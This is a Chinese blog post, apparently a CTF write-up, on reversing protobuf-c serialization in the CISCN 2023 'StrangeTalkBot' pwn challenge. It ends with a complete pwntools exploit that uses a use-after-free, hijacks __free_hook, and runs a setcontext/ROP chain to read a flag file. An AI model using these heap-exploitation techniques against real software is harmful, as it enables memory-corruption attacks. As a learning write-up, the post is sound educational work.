关于protobuf的解题步骤
196082 慢慢好起来

前言

其实在以前已经多次遇见过protobuf了,但是都不太在意因为总感觉会像musl库一样,存活一段时间后就消失了。所以也导致我一直没有去真正做过这样的题,这次国赛第一天恰好出现了这样一道题,不出意外没能解出来,如果不看wp我可能还会怀疑自己的逆向能力,因为我蠢到看了几个小时的1200多行代码。最可恶的是当初不想玩web的一大原因就是我比较粗心大意,面对信息收集时往往会忽略掉重要信息,但是现在的pwn也越来越往这个方向靠了。不可否认的是,这提升了选手的综合实力(恶心选手),只是我不太能接受从一个坑又跳到了另外一个坑里面去了。不过,需要认清现实的是我的逆向水平确实很差,我也准备开始刷逆向题了。

protobuf

什么是protobuf

Protocol Buffers,是Google公司开发的一种数据描述语言,类似于XML能够将结构化数据序列化,可用于数据存储、通信协议等方面。它不依赖于语言和平台并且可扩展性极强。

同XML相比,Protocol buffers在序列化结构化数据方面有许多优点:

  1. 更简单
  2. 数据描述文件只需原来的1/10至1/3
  3. 解析速度是原来的20倍至100倍
  4. 减少了二义性
  5. 生成了更容易在编程中使用的数据访问
  6. 支持多种编程语言
    (转自百度百科)

这里就不多提了,安装的话自己搜一下就有的。

使用protobuf

首先编写一个测试文件test.proto

1
2
3
4
5
6
7
8
syntax = "proto2";

message test{
required int64 aaa = 1;
required uint64 bbb = 2;
required sint64 ccc = 3;
required bytes ddd = 4;
}

使用protoc --c_out=. ./test.proto命令生成对应代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: test.proto */

#ifndef PROTOBUF_C_test_2eproto__INCLUDED
#define PROTOBUF_C_test_2eproto__INCLUDED

#include <protobuf-c/protobuf-c.h>

PROTOBUF_C__BEGIN_DECLS

#if PROTOBUF_C_VERSION_NUMBER < 1000000
# error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
#elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
# error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
#endif


typedef struct _Test Test;


/* --- enums --- */


/* --- messages --- */

struct _Test
{
ProtobufCMessage base;
int64_t aaa;
uint64_t bbb;
int64_t ccc;
ProtobufCBinaryData ddd;
};
#define TEST__INIT \
{ PROTOBUF_C_MESSAGE_INIT (&test__descriptor) \
, 0, 0, 0, {0,NULL} }


/* Test methods */
void test__init
(Test *message);
size_t test__get_packed_size
(const Test *message);
size_t test__pack
(const Test *message,
uint8_t *out);
size_t test__pack_to_buffer
(const Test *message,
ProtobufCBuffer *buffer);
Test *
test__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data);
void test__free_unpacked
(Test *message,
ProtobufCAllocator *allocator);
/* --- per-message closures --- */

typedef void (*Test_Closure)
(const Test *message,
void *closure_data);

/* --- services --- */


/* --- descriptors --- */

extern const ProtobufCMessageDescriptor test__descriptor;

PROTOBUF_C__END_DECLS


#endif /* PROTOBUF_C_test_2eproto__INCLUDED */

这是test.pb-c.h文件,可以看到其中定义了许多的函数,并且定义了结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: test.proto */

/* Do not generate deprecated warnings for self */
#ifndef PROTOBUF_C__NO_DEPRECATED
#define PROTOBUF_C__NO_DEPRECATED
#endif

#include "test.pb-c.h"
void test__init
(Test *message)
{
static const Test init_value = TEST__INIT;
*message = init_value;
}
size_t test__get_packed_size
(const Test *message)
{
assert(message->base.descriptor == &test__descriptor);
return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
}
size_t test__pack
(const Test *message,
uint8_t *out)
{
assert(message->base.descriptor == &test__descriptor);
return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
}
size_t test__pack_to_buffer
(const Test *message,
ProtobufCBuffer *buffer)
{
assert(message->base.descriptor == &test__descriptor);
return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
}
Test *
test__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data)
{
return (Test *)
protobuf_c_message_unpack (&test__descriptor,
allocator, len, data);
}
void test__free_unpacked
(Test *message,
ProtobufCAllocator *allocator)
{
if(!message)
return;
assert(message->base.descriptor == &test__descriptor);
protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
}
static const ProtobufCFieldDescriptor test__field_descriptors[4] =
{
{
"aaa",
1,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_INT64,
0, /* quantifier_offset */
offsetof(Test, aaa),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"bbb",
2,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_UINT64,
0, /* quantifier_offset */
offsetof(Test, bbb),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"ccc",
3,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_SINT64,
0, /* quantifier_offset */
offsetof(Test, ccc),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"ddd",
4,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_BYTES,
0, /* quantifier_offset */
offsetof(Test, ddd),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
};
static const unsigned test__field_indices_by_name[] = {
0, /* field[0] = aaa */
1, /* field[1] = bbb */
2, /* field[2] = ccc */
3, /* field[3] = ddd */
};
static const ProtobufCIntRange test__number_ranges[1 + 1] =
{
{ 1, 0 },
{ 0, 4 }
};
const ProtobufCMessageDescriptor test__descriptor =
{
PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
"test",
"Test",
"Test",
"",
sizeof(Test),
4,
test__field_descriptors,
test__field_indices_by_name,
1, test__number_ranges,
(ProtobufCMessageInit) test__init,
NULL,NULL,NULL /* reserved[123] */
};

这个文件就是test.pb-c.c文件,内部对test__field_descriptors数组进行了复制,这里使用的结构体为ProtobufCFieldDescriptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
struct ProtobufCFieldDescriptor {
/** Name of the field as given in the .proto file. */
const char *name;

/** Tag value of the field as given in the .proto file. */
uint32_t id;

/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
ProtobufCLabel label;

/** The type of the field. */
ProtobufCType type;

/**
* The offset in bytes of the message's C structure's quantifier field
* (the `has_MEMBER` field for optional members or the `n_MEMBER` field
* for repeated members or the case enum for oneofs).
*/
unsigned quantifier_offset;

/**
* The offset in bytes into the message's C structure for the member
* itself.
*/
unsigned offset;

/**
* A type-specific descriptor.
*
* If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
* corresponding `ProtobufCEnumDescriptor`.
*
* If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
* the corresponding `ProtobufCMessageDescriptor`.
*
* Otherwise this field is NULL.
*/
const void *descriptor; /* for MESSAGE and ENUM types */

/** The default value for this field, if defined. May be NULL. */
const void *default_value;

/**
* A flag word. Zero or more of the bits defined in the
* `ProtobufCFieldFlag` enum may be set.
*/
uint32_t flags;

/** Reserved for future use. */
unsigned reserved_flags;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};

而这个结构体中的type就是数据的类型,需要注意的是,我们在proto文件中,分别定义了int64sint64虽然结构体中都被翻译成了int64_t类型,但是可以在test.pb-c.c文件中看到,他们在上述结构体中的type值是不一样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef enum {
PROTOBUF_C_TYPE_INT32, /**< int32 */
PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
PROTOBUF_C_TYPE_INT64, /**< int64 */
PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
PROTOBUF_C_TYPE_FLOAT, /**< float */
PROTOBUF_C_TYPE_DOUBLE, /**< double */
PROTOBUF_C_TYPE_BOOL, /**< boolean */
PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;

而这里type值的定义是这样的,知道这个很重要,在后续的做题环节中需要。

然而,这种题目一般来说都是用户态的题目,而面对用户态题目我们写的脚本更多的是使用python去写,这里同样可以使用protoc工具生成python文件可以引入的文件。命令为:protoc --python_out=. ./test.proto

StrangeTalkBot

这道题是ciscn2023的第二道pwn题。

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
ssize_t v3; // rsi
_QWORD *v4; // [rsp+8h] [rbp-8h]

init_io();
while ( 1 )
{
memset(&byte_A060, 0, 0x400uLL);
puts("You can try to have friendly communication with me now: ");
v3 = read(0, &byte_A060, 0x400uLL);
v4 = (_QWORD *)sub_192D(0LL, v3, &byte_A060);
if ( !v4 )
break;
sub_155D(v4[3], v4[4], v4[5], v4[6], v4[7]);
}
errExit(0LL, v3);
}

可以看到,题目主干比较清晰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
char *__fastcall sub_155D(
__int64 opt,
unsigned __int64 idx,
__int64 chunk_size,
__int64 content_size,
const void *content)
{
size_t size; // [rsp+18h] [rbp-18h]

size = chunk_size;
if ( idx >= 0x21 )
errExit();
if ( (unsigned __int64)content_size >= 0xF1 )
errExit();
if ( (unsigned __int64)chunk_size >= 0xF1 )
errExit();
if ( chunk_size < content_size )
size = content_size;
if ( opt == 4 )
return delete(idx);
if ( opt > 4 )
goto LABEL_19;
if ( opt == 3 )
return (char *)show(idx);
if ( opt == 1 )
return (char *)create(idx, size, content_size, content);
if ( opt != 2 )
LABEL_19:
errExit();
return (char *)edit(idx, content_size, content);
}

而在这个函数内部其实就是很经典的菜单类堆题,并且题目中的漏洞也很简单,就是一个很单纯的UAF。麻烦的是sub_192D函数内部的sub_5090有很长的代码。虽然我也不知道怎么猜的,但是他就是protobuf对应的unpack函数。

理解题目中的protobuf

需要理解的话,首先就是需要确定题目中各个函数的含义以及部分可能需要知道的结构体。

1
2
3
4
__int64 __fastcall sub_192D(__int64 a1, __int64 a2, __int64 a3)
{
return sub_5090(&unk_9C80, a1, a2, a3);
}

可以看到这个函数内部只是调用了另外一个函数,并且返回出另外函数的返回值。

1
2
3
4
5
char *__fastcall sub_5090(
const ProtobufCMessageDescriptor *desc,
ProtobufCAllocator *a2,
unsigned __int64 count,
unsigned __int8 *content)

然而这个函数的返回值是一个指针(参数的类型都是已经经过了我的修改了)。其实通过对比可以发现结构很类似上述中的unpack函数。

1
2
3
4
Test *test__unpack(ProtobufCAllocator  *allocator, size_t len, const uint8_t *data)
{
return (Test *) protobuf_c_message_unpack (&test__descriptor, allocator, len, data);
}

当然,可以通过搜索其内部的字符串

1
2
3
4
5
6
7
8
actionid_str = desc->fields_sorted_by_name;
canary = __readfsqword(0x28u);
if ( desc->magic != 0x28AAEEF9 )
__assert_fail(
"(desc)->magic == BINARYBF_C__MESSAGE_DESCRIPTOR_MAGIC",
"BINARYBF-c/BINARYBF-c.c",
0xBF2u,
"BINARYBF_c_message_unpack");

比如函数开头的assert即可搜索到其源码位置。所以这个1200多行的函数其实就是protobuf_c_message_unpack函数。

那么就可以通过这个函数所使用的参数,直接在ida中添加结构体进行进一步分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
00000000 ProtobufCMessageDescriptor struc ; (sizeof=0x78, mappedto_19)
00000000 magic dd ?
00000004 name dq ?
0000000C short_name dq ?
00000014 c_name dq ?
0000001C package_name dq ?
00000024 sizeof_message dq ?
0000002C n_fields dd ?
00000030 fields dq ?
00000038 fields_sorted_by_name dq ?
00000040 n_field_ranges dd ?
00000044 field_ranges dq ?
0000004C message_init ProtobufCMessage ?
00000060 reserved1 dq ?
00000068 reserved2 dq ?
00000070 reserved3 dq ?
00000078 ProtobufCMessageDescriptor ends
00000078
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 ProtobufCMessage struc ; (sizeof=0x14, mappedto_21)
00000000 ; XREF: ProtobufCMessageDescriptor/r
00000000 descriptor dq ?
00000008 n_unknown_fields dd ?
0000000C unknown_fields dq ?
00000014 ProtobufCMessage ends
00000014
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 ProtobufCAllocator struc ; (sizeof=0x18, mappedto_22)
00000000 alloc dq ?
00000008 free dq ?
00000010 allocator_data dq ?
00000018 ProtobufCAllocator ends
00000018
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 ProtobufCFieldDescriptor struc ; (sizeof=0x44, mappedto_23)
00000000 ; XREF: .data.rel.ro:stru_9B60/r
00000000 name dq ?
00000008 id dd ?
0000000C label dd ?
00000010 type dd ?
00000014 quantifier_offset dd ?
00000018 offset dd ?
0000001C descriptor dq ?
00000024 default_value dq ?
0000002C flags dd ?
00000030 reserved_flags dd ?
00000034 reserved2 dq ?
0000003C reserved3 dq ?
00000044 ProtobufCFieldDescriptor ends

在前面我们提到了ProtobufCFieldDescriptor结构体,这个结构体中存储着结构体中所有成员的数据类型,并且第一个成员是指向其名字的地址,那么我们可以根据字符串找到结构体相印的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.data.rel.ro:0000000000009B60 80 70 00 00 00 00 00 00 01 00+stru_9B60 ProtobufCFieldDescriptor <7080h, 1, 0, 4, 0, 18h, 0, 0, 0, 0, 0, 0>
.data.rel.ro:0000000000009B60 00 00 00 00 00 00 04 00 00 00+ ; DATA XREF: .data.rel.ro:0000000000009CB8↓o
.data.rel.ro:0000000000009BA4 00 db 0
.data.rel.ro:0000000000009BA5 00 db 0
.data.rel.ro:0000000000009BA6 00 db 0
.data.rel.ro:0000000000009BA7 00 db 0
.data.rel.ro:0000000000009BA8 ; ProtobufCFieldDescriptor
.data.rel.ro:0000000000009BA8 89 70 00 00 00 00 00 00 02 00+ProtobufCFieldDescriptor <7089h, 2, 0, 4, 0, 20h, 0, 0, 0, 0, 0, 0>
.data.rel.ro:0000000000009BEC 00 db 0
.data.rel.ro:0000000000009BED 00 db 0
.data.rel.ro:0000000000009BEE 00 db 0
.data.rel.ro:0000000000009BEF 00 db 0
.data.rel.ro:0000000000009BF0 ; ProtobufCFieldDescriptor
.data.rel.ro:0000000000009BF0 90 70 00 00 00 00 00 00 03 00+ProtobufCFieldDescriptor <7090h, 3, 0, 4, 0, 28h, 0, 0, 0, 0, 0, 0>
.data.rel.ro:0000000000009C34 00 db 0
.data.rel.ro:0000000000009C35 00 db 0
.data.rel.ro:0000000000009C36 00 db 0
.data.rel.ro:0000000000009C37 00 db 0
.data.rel.ro:0000000000009C38 ; ProtobufCFieldDescriptor
.data.rel.ro:0000000000009C38 98 70 00 00 00 00 00 00 04 00+ProtobufCFieldDescriptor <7098h, 4, 0, 0Fh, 0, 30h, 0, 0, 0, 0, 0, 0>

最终可以得出,前面三个成员的数据类型为sint64,最后一个成员的数据类型为bytes,所以可以自己写出proto文件了。

1
2
3
4
5
6
7
8
syntax = "proto2";

message Devicemsg{
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}

然后使用上述代码生成python对应的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: Devicemsg.proto

import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()




DESCRIPTOR = _descriptor.FileDescriptor(
name='Devicemsg.proto',
package='',
syntax='proto2',
serialized_options=None,
serialized_pb=_b('\n\x0f\x44\x65vicemsg.proto\"R\n\tDevicemsg\x12\x10\n\x08\x61\x63tionid\x18\x01 \x02(\x12\x12\x0e\n\x06msgidx\x18\x02 \x02(\x12\x12\x0f\n\x07msgsize\x18\x03 \x02(\x12\x12\x12\n\nmsgcontent\x18\x04 \x02(\x0c')
)




_DEVICEMSG = _descriptor.Descriptor(
name='Devicemsg',
full_name='Devicemsg',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='actionid', full_name='Devicemsg.actionid', index=0,
number=1, type=18, cpp_type=2, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='msgidx', full_name='Devicemsg.msgidx', index=1,
number=2, type=18, cpp_type=2, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='msgsize', full_name='Devicemsg.msgsize', index=2,
number=3, type=18, cpp_type=2, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='msgcontent', full_name='Devicemsg.msgcontent', index=3,
number=4, type=12, cpp_type=9, label=2,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=19,
serialized_end=101,
)

DESCRIPTOR.message_types_by_name['Devicemsg'] = _DEVICEMSG
_sym_db.RegisterFileDescriptor(DESCRIPTOR)

Devicemsg = _reflection.GeneratedProtocolMessageType('Devicemsg', (_message.Message,), dict(
DESCRIPTOR = _DEVICEMSG,
__module__ = 'Devicemsg_pb2'
# @@protoc_insertion_point(class_scope:Devicemsg)
))
_sym_db.RegisterMessage(Devicemsg)


# @@protoc_insertion_point(module_scope)

现在就只需要拿着这个文件去使用即可,后续的漏洞利用部分比较简单,这里就不详细说了。

综上可得,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

import Devicemsg_pb2

elf = ELF('./pwn')
r = process('./pwn')
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def create(idx, size, content=b''):
msg = Devicemsg_pb2.Devicemsg()
msg.actionid = 1
msg.msgidx = idx
msg.msgsize = size
msg.msgcontent = content
r.recvuntil(b'You can try to have friendly communication with me now: ')
r.send(msg.SerializeToString())


def edit(idx, content):
msg = Devicemsg_pb2.Devicemsg()
msg.actionid = 2
msg.msgidx = idx
msg.msgsize = 0
msg.msgcontent = content
r.recvuntil(b'You can try to have friendly communication with me now: ')
r.send(msg.SerializeToString())


def show(idx):
msg = Devicemsg_pb2.Devicemsg()
msg.actionid = 3
msg.msgidx = idx
msg.msgsize = 0
msg.msgcontent = b''
r.recvuntil(b'You can try to have friendly communication with me now: ')
r.send(msg.SerializeToString())


def delete(idx):
msg = Devicemsg_pb2.Devicemsg()
msg.actionid = 4
msg.msgidx = idx
msg.msgsize = 0
msg.msgcontent = b''
r.recvuntil(b'You can try to have friendly communication with me now: ')
r.send(msg.SerializeToString())


for i in range(8):
create(i, 0xf0)
for i in range(8):
delete(7-i)

show(0)
r.recvline()
r.recv(0x50)
libc_base = u64(r.recv(8)) - 0x1ecbe0
print("libc_base => ", hex(libc_base))

show(1)
r.recvline()
heap_base = u64(r.recv(8)) - 0x590
print("heap_base => ", hex(heap_base))

setcontext = libc_base + libc.symbols['setcontext'] + 61
__free_hook = libc_base + libc.symbols['__free_hook']
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
puts_addr = libc_base + libc.symbols['puts']
ret_addr = libc_base + 0x0000000000022679
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92
magic_gadget = libc_base + 0x151990

edit(1, flat(__free_hook, 0))
create(8, 0xf0)
create(9, 0xf0, flat(magic_gadget))

flag_addr = heap_base + 0x440

rop_chain = b''
rop_chain += flat(pop_rdi, flag_addr, pop_rsi, 2, open_addr)
rop_chain += flat(pop_rdi, 3, pop_rsi, libc_base +
libc.bss() + 0x500, pop_rdx, 0x50, read_addr)
rop_chain += flat(pop_rdi, libc_base + libc.bss() + 0x500, puts_addr)

payload = flat(b'./flag'+b'\x00'*2, flag_addr)
payload = payload.ljust(0x20, b'\x00') + flat(setcontext)
payload = payload.ljust(0x28, b'\x00') + rop_chain
payload = payload.ljust(0xa0, b'\x00') + flat(flag_addr + 0x28, ret_addr)

edit(8, payload)
delete(8)

r.interactive()

参考链接:

https://xp0int.top/posts/2023/05/28/2023-CISCN-%E5%88%9D%E8%B5%9B-Writeup-By-Xp0int/#42-strangetalkbot

https://github1s.com/protobuf-c/protobuf-c/blob/HEAD/protobuf-c/protobuf-c.c#L3028

https://www.jianshu.com/p/a7e88cb17031

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量